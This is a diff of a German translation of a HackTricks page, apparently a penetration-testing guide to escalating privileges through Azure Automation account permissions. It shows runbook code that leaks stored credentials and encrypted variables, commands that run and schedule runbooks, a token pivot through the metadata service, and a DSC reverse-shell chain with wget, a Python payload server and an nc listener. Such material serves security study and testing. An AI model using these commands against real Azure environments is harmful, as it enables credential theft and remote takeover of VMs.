mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-13 21:36:23 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA
This commit is contained in:
@@ -12,16 +12,27 @@ Für weitere Informationen siehe:
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem Hybrid-Worker ausführen kann, **zum Standort der VM pivotieren wird**. Dies könnte eine lokale Maschine, ein VPC eines anderen Clouds oder sogar eine Azure-VM sein.
|
||||
- **Vom Automatisierungskonto zur VM**
|
||||
|
||||
Darüber hinaus, wenn der Hybrid-Worker in Azure mit anderen verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice** zuzugreifen.
|
||||
Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem hybriden Worker ausführen kann, **zum Standort der VM pivotieren wird**. Dies könnte eine lokale Maschine, ein VPC einer anderen Cloud oder sogar eine Azure-VM sein.
|
||||
|
||||
Darüber hinaus, wenn der hybride Worker in Azure mit anderen verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice** zuzugreifen.
|
||||
|
||||
> [!TIP]
|
||||
> Denke daran, dass der **Metadatenservice** eine andere URL hat (**`http://169.254.169.254`**) als der Dienst, von dem das Token der verwalteten Identitäten des Automatisierungskontos abgerufen wird (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Von der VM zum Automatisierungskonto**
|
||||
|
||||
Darüber hinaus, wenn jemand eine VM kompromittiert, auf der ein Skript des Automatisierungskontos läuft, wird er in der Lage sein, die **Metadaten des Automatisierungskontos** zu lokalisieren und von der VM darauf zuzugreifen, um Tokens für die **verwalteten Identitäten** zu erhalten, die dem Automatisierungskonto zugeordnet sind.
|
||||
|
||||
Wie im folgenden Bild zu sehen ist, ist es mit Administratorzugriff auf die VM möglich, in den **Umgebungsvariablen des Prozesses** die URL und das Geheimnis zum Zugriff auf den Metadatenservice des Automatisierungskontos zu finden:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Zusammenfassend ermöglichen diese Berechtigungen, **Runbooks im Automatisierungskonto zu erstellen, zu ändern und auszuführen**, die du verwenden könntest, um **Code** im Kontext des Automatisierungskontos auszuführen und Berechtigungen auf die zugewiesenen **verwalteten Identitäten** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen**, die im Automatisierungskonto gespeichert sind, zu leaken.
|
||||
Zusammenfassend ermöglichen diese Berechtigungen das **Erstellen, Ändern und Ausführen von Runbooks** im Automatisierungskonto, die du verwenden könntest, um **Code** im Kontext des Automatisierungskontos auszuführen und Privilegien auf die zugewiesenen **verwalteten Identitäten** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen** zu leaken, die im Automatisierungskonto gespeichert sind.
|
||||
|
||||
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ermöglicht es, den Code eines Runbooks im Automatisierungskonto zu ändern mit:
|
||||
```bash
|
||||
@@ -36,9 +47,9 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variablen** zu leaken, die im Automation Account gespeichert ist.
|
||||
Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Berechtigung sowie den Wert einer **verschlüsselten Variablen** zu leaken, die im Automation Account gespeichert ist.
|
||||
|
||||
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden:
|
||||
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden.
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
@@ -104,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einen Scheduler einem Runbook zuzuweisen, indem man:
|
||||
Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einen Scheduler einem Runbook zuzuweisen mit:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -153,7 +164,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, den **Code eines Runbooks zu aktualisieren**, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.
|
||||
Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, den **Code eines Runbooks** zu aktualisieren, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -179,7 +190,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Diese Berechtigung ermöglicht es dem Benutzer, **eine Quellkontrolle** für das Automatisierungskonto zu konfigurieren, indem er Befehle wie die folgenden verwendet (dies verwendet Github als Beispiel):
|
||||
Diese Berechtigung ermöglicht es dem Benutzer, **eine Quellsteuerung** für das Automatisierungskonto zu konfigurieren, indem er Befehle wie die folgenden verwendet (dies verwendet Github als Beispiel):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -228,10 +239,10 @@ Wenn ein Automatisierungskonto eine benutzerdefinierte Laufzeitumgebung verwende
|
||||
- Schritt 1 — Dateien erstellen
|
||||
|
||||
**Benötigte Dateien:** Zwei PowerShell-Skripte sind erforderlich:
|
||||
1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist erhältlich auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist von [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) erhältlich.
|
||||
2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfade und Server-/Nutzlast-Identifikatoren.
|
||||
**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Nutzlast-Identifikatoren.
|
||||
|
||||
- Schritt 2 — Konfigurationsdatei zippen
|
||||
|
||||
@@ -239,15 +250,15 @@ Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie fü
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Schritt 3 — Speicher-Kontext festlegen & hochladen
|
||||
- Schritt 3 — Speicher-Kontext festlegen & Hochladen
|
||||
|
||||
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Set-AzStorageBlobContent-Cmdlet von Azure hochgeladen.
|
||||
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Azure-Befehl Set-AzStorageBlobContent hochgeladen.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Schritt 4 — Kali Box vorbereiten
|
||||
- Schritt 4 — Kali-Box vorbereiten
|
||||
|
||||
Der Kali-Server lädt das RevPS.ps1-Payload aus einem GitHub-Repository herunter.
|
||||
Der Kali-Server lädt die RevPS.ps1 Payload aus einem GitHub-Repository herunter.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
@@ -264,6 +275,6 @@ Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen m
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Die geplante Aufgabe führt die Payload aus und erreicht SYSTEM-Ebene Berechtigungen.
|
||||
Die geplante Aufgabe führt die Nutzlast aus und erreicht SYSTEM-Ebene Berechtigungen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user